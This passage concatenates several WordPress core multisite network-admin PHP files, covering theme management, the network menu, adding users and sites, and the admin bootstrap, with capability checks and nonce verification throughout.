					<td><code><?php echo esc_html( $option->option_value ); ?></code></td>
					<?php } else { ?>
					<td><input class="<?php echo $class; ?>" name="option[<?php echo esc_attr( $option->option_name ); ?>]" type="text" id="<?php echo esc_attr( $option->option_name ); ?>" value="<?php echo esc_attr( $option->option_value ); ?>" size="40" <?php disabled( $disabled ); ?> /></td>
					<?php } ?>
				</tr>
				<?php
			}
		} // End foreach.

		/**
		 * Fires at the end of the Edit Site form, before the submit button.
		 *
		 * @since 3.0.0
		 *
		 * @param int $id Site ID.
		 */
		do_action( 'wpmueditblogaction', $id );
		?>
	</table>
	<?php submit_button(); ?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Updates network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update-core.php';
<?php
/**
 * Multisite themes administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_themes' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage network themes.' ) );
}

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$action = $wp_list_table->current_action();

$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args = array(
	'enabled',
	'disabled',
	'deleted',
	'error',
	'enabled-auto-update',
	'disabled-auto-update',
);

$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( $action ) {
	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			WP_Theme::network_enable_theme( $_GET['theme'] );
			if ( ! str_contains( $referer, '/network/themes.php' ) ) {
				wp_redirect( network_admin_url( 'themes.php?enabled=1' ) );
			} else {
				wp_safe_redirect( add_query_arg( 'enabled', 1, $referer ) );
			}
			exit;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			WP_Theme::network_disable_theme( $_GET['theme'] );
			wp_safe_redirect( add_query_arg( 'disabled', '1', $referer ) );
			exit;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_enable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'enabled', count( $themes ), $referer ) );
			exit;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_disable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'disabled', count( $themes ), $referer ) );
			exit;
		case 'update-selected':
			check_admin_referer( 'bulk-themes' );

			if ( isset( $_GET['themes'] ) ) {
				$themes = explode( ',', $_GET['themes'] );
			} elseif ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
			} else {
				$themes = array();
			}

			// Used in the HTML title tag.
			$title       = __( 'Update Themes' );
			$parent_file = 'themes.php';

			require_once ABSPATH . 'wp-admin/admin-header.php';

			echo '<div class="wrap">';
			echo '<h1>' . esc_html( $title ) . '</h1>';

			$url = self_admin_url( 'update.php?action=update-selected-themes&amp;themes=' . urlencode( implode( ',', $themes ) ) );
			$url = wp_nonce_url( $url, 'bulk-update-themes' );

			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
			echo '</div>';
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		case 'delete-selected':
			if ( ! current_user_can( 'delete_themes' ) ) {
				wp_die( __( 'Sorry, you are not allowed to delete themes for this site.' ) );
			}

			check_admin_referer( 'bulk-themes' );

			$themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}

			$themes = array_diff( $themes, array( get_option( 'stylesheet' ), get_option( 'template' ) ) );

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'main', $referer ) );
				exit;
			}

			$theme_info = array();
			foreach ( $themes as $key => $theme ) {
				$theme_info[ $theme ] = wp_get_theme( $theme );
			}

			require ABSPATH . 'wp-admin/update.php';

			$parent_file = 'themes.php';

			if ( ! isset( $_REQUEST['verify-delete'] ) ) {
				wp_enqueue_script( 'jquery' );
				require_once ABSPATH . 'wp-admin/admin-header.php';
				$themes_to_delete = count( $themes );
				?>
				<div class="wrap">
				<?php if ( 1 === $themes_to_delete ) : ?>
					<h1><?php _e( 'Delete Theme' ); ?></h1>
					<?php
					wp_admin_notice(
						'<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'This theme may be active on other sites in the network.' ),
						array(
							'additional_classes' => array( 'error' ),
						)
					);
					?>
					<p><?php _e( 'You are about to remove the following theme:' ); ?></p>
				<?php else : ?>
					<h1><?php _e( 'Delete Themes' ); ?></h1>
					<?php
					wp_admin_notice(
						'<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'These themes may be active on other sites in the network.' ),
						array(
							'additional_classes' => array( 'error' ),
						)
					);
					?>
					<p><?php _e( 'You are about to remove the following themes:' ); ?></p>
				<?php endif; ?>
					<ul class="ul-disc">
					<?php
					foreach ( $theme_info as $theme ) {
						echo '<li>' . sprintf(
							/* translators: 1: Theme name, 2: Theme author. */
							_x( '%1$s by %2$s', 'theme' ),
							'<strong>' . $theme->display( 'Name' ) . '</strong>',
							'<em>' . $theme->display( 'Author' ) . '</em>'
						) . '</li>';
					}
					?>
					</ul>
				<?php if ( 1 === $themes_to_delete ) : ?>
					<p><?php _e( 'Are you sure you want to delete this theme?' ); ?></p>
				<?php else : ?>
					<p><?php _e( 'Are you sure you want to delete these themes?' ); ?></p>
				<?php endif; ?>
				<form method="post" action="<?php echo esc_url( $_SERVER['REQUEST_URI'] ); ?>" style="display:inline;">
					<input type="hidden" name="verify-delete" value="1" />
					<input type="hidden" name="action" value="delete-selected" />
					<?php

					foreach ( (array) $themes as $theme ) {
						echo '<input type="hidden" name="checked[]" value="' . esc_attr( $theme ) . '" />';
					}

					wp_nonce_field( 'bulk-themes' );

					if ( 1 === $themes_to_delete ) {
						submit_button( __( 'Yes, delete this theme' ), '', 'submit', false );
					} else {
						submit_button( __( 'Yes, delete these themes' ), '', 'submit', false );
					}

					?>
				</form>
				<?php $referer = wp_get_referer(); ?>
				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
					<?php submit_button( __( 'No, return me to the theme list' ), '', 'submit', false ); ?>
				</form>
				</div>
				<?php

				require_once ABSPATH . 'wp-admin/admin-footer.php';
				exit;
			} // End if verify-delete.

			foreach ( $themes as $theme ) {
				$delete_result = delete_theme(
					$theme,
					esc_url(
						add_query_arg(
							array(
								'verify-delete' => 1,
								'action'        => 'delete-selected',
								'checked'       => $_REQUEST['checked'],
								'_wpnonce'      => $_REQUEST['_wpnonce'],
							),
							network_admin_url( 'themes.php' )
						)
					)
				);
			}

			$paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1;
			wp_redirect(
				add_query_arg(
					array(
						'deleted' => count( $themes ),
						'paged'   => $paged,
						's'       => $s,
					),
					network_admin_url( 'themes.php' )
				)
			);
			exit;
		case 'enable-auto-update':
		case 'disable-auto-update':
		case 'enable-auto-update-selected':
		case 'disable-auto-update-selected':
			if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to change themes automatic update settings.' ) );
			}

			if ( 'enable-auto-update' === $action || 'disable-auto-update' === $action ) {
				check_admin_referer( 'updates' );
			} else {
				if ( empty( $_POST['checked'] ) ) {
					// Nothing to do.
					wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
					exit;
				}

				check_admin_referer( 'bulk-themes' );
			}

			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

			if ( 'enable-auto-update' === $action ) {
				$auto_updates[] = $_GET['theme'];
				$auto_updates   = array_unique( $auto_updates );
				$referer        = add_query_arg( 'enabled-auto-update', 1, $referer );
			} elseif ( 'disable-auto-update' === $action ) {
				$auto_updates = array_diff( $auto_updates, array( $_GET['theme'] ) );
				$referer      = add_query_arg( 'disabled-auto-update', 1, $referer );
			} else {
				// Bulk enable/disable.
				$themes = (array) wp_unslash( $_POST['checked'] );

				if ( 'enable-auto-update-selected' === $action ) {
					$auto_updates = array_merge( $auto_updates, $themes );
					$auto_updates = array_unique( $auto_updates );
					$referer      = add_query_arg( 'enabled-auto-update', count( $themes ), $referer );
				} else {
					$auto_updates = array_diff( $auto_updates, $themes );
					$referer      = add_query_arg( 'disabled-auto-update', count( $themes ), $referer );
				}
			}

			$all_items = wp_get_themes();

			// Remove themes that don't exist or have been deleted since the option was last updated.
			$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

			update_site_option( 'auto_update_themes', $auto_updates );

			wp_safe_redirect( $referer );
			exit;
		default:
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			check_admin_referer( 'bulk-themes' );

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $themes ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			wp_safe_redirect( $referer );
			exit;
	}
}

$wp_list_table->prepare_items();

add_thickbox();

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.' ) . '</p>' .
			'<p>' . __( 'If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site&#8217;s Appearance > Themes screen.' ) . '</p>' .
			'<p>' . __( 'Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.' ) . '</p>',
	)
);

$help_sidebar_autoupdates = '';

if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'plugins-themes-auto-updates',
			'title'   => __( 'Auto-updates' ),
			'content' =>
				'<p>' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' .
				'<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>',
		)
	);

	$help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>';
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Themes_Screen">Documentation on Network Themes</a>' ) . '</p>' .
	$help_sidebar_autoupdates .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter themes list' ),
		'heading_pagination' => __( 'Themes list navigation' ),
		'heading_list'       => __( 'Themes list' ),
	)
);

// Used in the HTML title tag.
$title       = __( 'Themes' );
$parent_file = 'themes.php';

wp_enqueue_script( 'updates' );
wp_enqueue_script( 'theme-preview' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>

<?php if ( current_user_can( 'install_themes' ) ) : ?>
	<a href="theme-install.php" class="page-title-action"><?php echo esc_html__( 'Add New Theme' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
$message = '';
$type    = 'success';

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme enabled.', '%s themes enabled.', $enabled ),
			number_format_i18n( $enabled )
		);
	}
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme disabled.', '%s themes disabled.', $disabled ),
			number_format_i18n( $disabled )
		);
	}
} elseif ( isset( $_GET['deleted'] ) ) {
	$deleted = absint( $_GET['deleted'] );
	if ( 1 === $deleted ) {
		$message = __( 'Theme deleted.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme deleted.', '%s themes deleted.', $deleted ),
			number_format_i18n( $deleted )
		);
	}
} elseif ( isset( $_GET['enabled-auto-update'] ) ) {
	$enabled = absint( $_GET['enabled-auto-update'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme will be auto-updated.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme will be auto-updated.', '%s themes will be auto-updated.', $enabled ),
			number_format_i18n( $enabled )
		);
	}
} elseif ( isset( $_GET['disabled-auto-update'] ) ) {
	$disabled = absint( $_GET['disabled-auto-update'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme will no longer be auto-updated.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme will no longer be auto-updated.', '%s themes will no longer be auto-updated.', $disabled ),
			number_format_i18n( $disabled )
		);
	}
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	$message = __( 'No theme selected.' );
	$type    = 'error';
} elseif ( isset( $_GET['error'] ) && 'main' === $_GET['error'] ) {
	$message = __( 'You cannot delete a theme while it is active on the main site.' );
	$type    = 'error';
}

if ( '' !== $message ) {
	wp_admin_notice(
		$message,
		array(
			'type'        => $type,
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
</form>

<?php
$wp_list_table->views();

if ( 'broken' === $status ) {
	echo '<p class="clear">' . __( 'The following themes are installed but incomplete.' ) . '</p>';
}
?>

<form id="bulk-action-form" method="post">
<input type="hidden" name="theme_status" value="<?php echo esc_attr( $status ); ?>" />
<input type="hidden" name="paged" value="<?php echo esc_attr( $page ); ?>" />

<?php $wp_list_table->display(); ?>
</form>

</div>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Update/Install Plugin/Theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update.php';
<?php
/**
 * Build Network Administration Menu.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/* translators: Network menu item. */
$menu[2] = array( __( 'Dashboard' ), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' );

$submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' );

if ( current_user_can( 'update_core' ) ) {
	$cap = 'update_core';
} elseif ( current_user_can( 'update_plugins' ) ) {
	$cap = 'update_plugins';
} elseif ( current_user_can( 'update_themes' ) ) {
	$cap = 'update_themes';
} else {
	$cap = 'update_languages';
}

$update_data = wp_get_update_data();
if ( $update_data['counts']['total'] ) {
	$submenu['index.php'][10] = array(
		sprintf(
			/* translators: %s: Number of available updates. */
			__( 'Updates %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="update-count">%s</span></span>',
				$update_data['counts']['total'],
				number_format_i18n( $update_data['counts']['total'] )
			)
		),
		$cap,
		'update-core.php',
	);
} else {
	$submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' );
}

unset( $cap );

$submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' );

$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );

/* translators: Sites menu item. */
$menu[5]                  = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' );
$submenu['sites.php'][5]  = array( __( 'All Sites' ), 'manage_sites', 'sites.php' );
$submenu['sites.php'][10] = array( __( 'Add New Site' ), 'create_sites', 'site-new.php' );

$menu[10]                 = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
$submenu['users.php'][5]  = array( __( 'All Users' ), 'manage_network_users', 'users.php' );
$submenu['users.php'][10] = array( __( 'Add New User' ), 'create_users', 'user-new.php' );

if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) {
	$menu[15] = array(
		sprintf(
			/* translators: %s: Number of available theme updates. */
			__( 'Themes %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>',
				$update_data['counts']['themes'],
				number_format_i18n( $update_data['counts']['themes'] )
			)
		),
		'manage_network_themes',
		'themes.php',
		'',
		'menu-top menu-icon-appearance',
		'menu-appearance',
		'dashicons-admin-appearance',
	);
} else {
	$menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
}
$submenu['themes.php'][5]  = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' );
$submenu['themes.php'][10] = array( __( 'Add New Theme' ), 'install_themes', 'theme-install.php' );
$submenu['themes.php'][15] = array( __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' );

if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) {
	$menu[20] = array(
		sprintf(
			/* translators: %s: Number of available plugin updates. */
			__( 'Plugins %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>',
				$update_data['counts']['plugins'],
				number_format_i18n( $update_data['counts']['plugins'] )
			)
		),
		'manage_network_plugins',
		'plugins.php',
		'',
		'menu-top menu-icon-plugins',
		'menu-plugins',
		'dashicons-admin-plugins',
	);
} else {
	$menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
}
$submenu['plugins.php'][5]  = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' );
$submenu['plugins.php'][10] = array( __( 'Add New Plugin' ), 'install_plugins', 'plugin-install.php' );
$submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' );

$menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
	$submenu['settings.php'][5]  = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' );
	$submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' );
}
unset( $update_data );

$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );

require_once ABSPATH . 'wp-admin/includes/menu.php';
<?php
/**
 * Add New User network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'create_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add users to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '</p>' .
			'<p>' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-user', '_wpnonce_add-user' );

	if ( ! current_user_can( 'manage_network_users' ) ) {
		wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
	}

	if ( ! is_array( $_POST['user'] ) ) {
		wp_die( __( 'Cannot create an empty user.' ) );
	}

	$user = wp_unslash( $_POST['user'] );

	$user_details = wpmu_validate_user_signup( $user['username'], $user['email'] );

	if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) {
		$add_user_errors = $user_details['errors'];
	} else {
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) );

		if ( ! $user_id ) {
			$add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) );
		} else {
			/**
			 * Fires after a new user has been created via the network user-new.php page.
			 *
			 * @since 4.4.0
			 *
			 * @param int $user_id ID of the newly created user.
			 */
			do_action( 'network_user_new_created_user', $user_id );

			wp_redirect(
				add_query_arg(
					array(
						'update'  => 'added',
						'user_id' => $user_id,
					),
					'user-new.php'
				)
			);
			exit;
		}
	}
}

$message = '';
if ( isset( $_GET['update'] ) ) {
	if ( 'added' === $_GET['update'] ) {
		$edit_link = '';
		if ( isset( $_GET['user_id'] ) ) {
			$user_id_new = absint( $_GET['user_id'] );
			if ( $user_id_new ) {
				$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
			}
		}

		$message = __( 'User added.' );

		if ( $edit_link ) {
			$message .= sprintf( ' <a href="%s">%s</a>', $edit_link, __( 'Edit user' ) );
		}
	}
}

// Used in the HTML title tag.
$title       = __( 'Add New User' );
$parent_file = 'users.php';

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 id="add-new-user"><?php _e( 'Add New User' ); ?></h1>
<?php
if ( '' !== $message ) {
	wp_admin_notice(
		$message,
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}

if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) {
	$error_messages = '';
	foreach ( $add_user_errors->get_error_messages() as $error ) {
		$error_messages .= "<p>$error</p>";
	}

	wp_admin_notice(
		$error_messages,
		array(
			'type'           => 'error',
			'dismissible'    => true,
			'id'             => 'message',
			'paragraph_wrap' => false,
		)
	);
}
?>
	<form action="<?php echo esc_url( network_admin_url( 'user-new.php?action=add-user' ) ); ?>" id="adduser" method="post" novalidate="novalidate">
		<p><?php echo wp_required_field_message(); ?></p>
		<table class="form-table" role="presentation">
			<tr class="form-field form-required">
				<th scope="row"><label for="username"><?php _e( 'Username' ); ?> <?php echo wp_required_field_indicator(); ?></label></th>
				<td><input type="text" class="regular-text" name="user[username]" id="username" autocapitalize="none" autocorrect="off" maxlength="60" required="required" /></td>
			</tr>
			<tr class="form-field form-required">
				<th scope="row"><label for="email"><?php _e( 'Email' ); ?> <?php echo wp_required_field_indicator(); ?></label></th>
				<td><input type="email" class="regular-text" name="user[email]" id="email" required="required" /></td>
			</tr>
			<tr class="form-field">
				<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
			</tr>
		</table>
	<?php
	/**
	 * Fires at the end of the new user form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_user_new_form' );

	wp_nonce_field( 'add-user', '_wpnonce_add-user' );
	submit_button( __( 'Add User' ), 'primary', 'add-user' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Plugin file editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-editor.php';
<?php
/**
 * Action handler for Multisite administration panels.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$action = ( isset( $_GET['action'] ) ) ? $_GET['action'] : '';

if ( empty( $action ) ) {
	wp_redirect( network_admin_url() );
	exit;
}

/**
 * Fires just before the action handler in several Network Admin screens.
 *
 * This hook fires on multiple screens in the Multisite Network Admin,
 * including Users, Network Settings, and Site Settings.
 *
 * @since 3.0.0
 */
do_action( 'wpmuadminedit' );

/**
 * Fires the requested handler action.
 *
 * The dynamic portion of the hook name, `$action`, refers to the name
 * of the requested action derived from the `GET` request.
 *
 * @since 3.1.0
 */
do_action( "network_admin_edit_{$action}" );

wp_redirect( network_admin_url() );
exit;
<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once dirname( __DIR__ ) . '/admin.php';

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );

if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}

unset( $redirect_network_admin_request );
<?php
/**
 * Add Site Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'create_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '</p>' .
			'<p>' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin-sites-screen/">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-blog', '_wpnonce_add-blog' );

	if ( ! is_array( $_POST['blog'] ) ) {
		wp_die( __( 'Cannot create an empty site.' ) );
	}

	$blog   = $_POST['blog'];
	$domain = '';

	$blog['domain'] = trim( $blog['domain'] );
	if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) {
		$domain = strtolower( $blog['domain'] );
	}

	// If not a subdomain installation, make sure the domain isn't a reserved word.
	if ( ! is_subdomain_install() ) {
		$subdirectory_reserved_names = get_subdirectory_reserved_names();

		if ( in_array( $domain, $subdirectory_reserved_names, true ) ) {
			wp_die(
				sprintf(
					/* translators: %s: Reserved names list. */
					__( 'The following words are reserved for use by WordPress functions and cannot be used as site names: %s' ),
					'<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>'
				)
			);
		}
	}

	$title = $blog['title'];

	$meta = array(
		'public' => 1,
	);

	// Handle translation installation for the new site.
	if ( isset( $_POST['WPLANG'] ) ) {
		if ( '' === $_POST['WPLANG'] ) {
			$meta['WPLANG'] = ''; // en_US
		} elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) {
			$meta['WPLANG'] = $_POST['WPLANG'];
		} elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
			$language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) );
			if ( $language ) {
				$meta['WPLANG'] = $language;
			}
		}
	}

	if ( empty( $title ) ) {
		wp_die( __( 'Missing site title.' ) );
	}

